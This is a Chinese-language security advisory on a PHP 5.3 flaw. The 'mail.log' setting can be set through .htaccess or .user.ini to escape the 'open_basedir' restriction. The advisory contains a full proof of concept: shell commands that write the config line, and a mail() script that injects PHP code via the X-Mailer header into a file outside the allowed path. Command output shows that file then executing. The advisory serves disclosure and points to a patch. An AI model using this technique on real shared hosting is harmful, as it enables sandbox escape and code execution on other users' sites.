PHP ‘mail.log’配置选项’open_basedir’限制绕过漏洞

漏洞起因
设计错误
 
影响系统
PHP PHP 5.3
 
不受影响系统
 
危害
远程攻击者可以利用漏洞绕过’open_basedir’限制执行脚本代码。
 
攻击所需条件
攻击者必须构建恶意WEB页,诱使用户解析。
 
漏洞信息
PHP是一款流行的网络编程语言。
问题存在于main/main.c
– —
STD_PHP_INI_ENTRY("mail.log", NULL, PHP_INI_SYSTEM|PHP_INI_PERDIR, O
nUpdateString, mail_log, php_core_globals, core_globals)
– —
访问PHP_INI_PERDIR可被.htaccess (Apache)或者user.ini(CGI)接收,函数OnUpdateString没有检查open_basedir,所以需要建立新函数OpUpdateMailLog检查open_basedir。
Exploit:
127# cat /www/home/cx/show.php
<?php
echo ini_get(‘open_basedir’)."\n";
?>
127# curl http://localhost/home/cx/show.php
/www/home/cx
127# cat /www/home/cx/set.php
<?php
echo ini_set(‘mail.log’, ‘/www/home/gpkc/tmp/’)."\n";
?>
127# curl http://localhost/home/cx/set.php
Warning: ini_set(): open_basedir restriction in effect.
File(/www/home/gpkc/tmp/) is not within the allowed path(s): (/www/home/cx)
in /www/home/cx/set.php on line 2
我们需要针对Apache SAPI建立.htaccess或.user.ini:
127# echo ‘php_value mail.log /www/home/gkpc/tmp/exploit.php’ >
./.htaccess
for CGI:
127# echo ‘mail.log = /www/home/gkpc/tmp/exploit.php’ > ./.user.ini
并且使用mail()函数的部分文件在里面,在X-Mailer中,可以放置部分PHP代码在其他open_basedir范围中执行如<?php echo ini_get(‘open_basedir’);?>。
127# cat /www/home/cx/runmail.php
<?php
$to = ‘stop@spam.c0m’;
$subject = ‘open_basedir bypass by http://securityreason.com’;
$message = ‘exploit’;
$headers = ‘From: stop@spam.c0m’ . "\r\n" .
‘Reply-To: stop@spam.c0m’ . "\r\n" .
‘X-Mailer: PHP<?php echo ini_get(\’open_basedir\’);?>/’ .
phpversion();
mail($to, $subject, $message, $headers);
?>
127# curl http://localhost/home/cx/runmail.php
127# ls -la /www/home/gkpc/tmp/exploit.php
– -rw-r–r– 1 www www 173 Jun 30 05:20 /www/home/gkpc/tmp/exploit.php
至此可通过httpd执行恶意脚本exploit.php
127# curl http://localhost/home/gkpc/tmp/exploit.php
mail() on [/www/home/cx/runmail.php:9]: To: stop@spam.c0m — Headers: From:
stop@spam.c0m Reply-To: stop@spam.c0m X-Mailer: PHP/www/home/gkpc/5.3.0
exploit.php现在在open_basedir=/www/home/gkpc/范围中。
 
测试方法
 
厂商解决方案
用户可参考如下安全公告获得补丁信息:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c
 
漏洞提供者
Maksymilian Arciemowicz from SecurityReason

发表评论?

0 条评论。

发表评论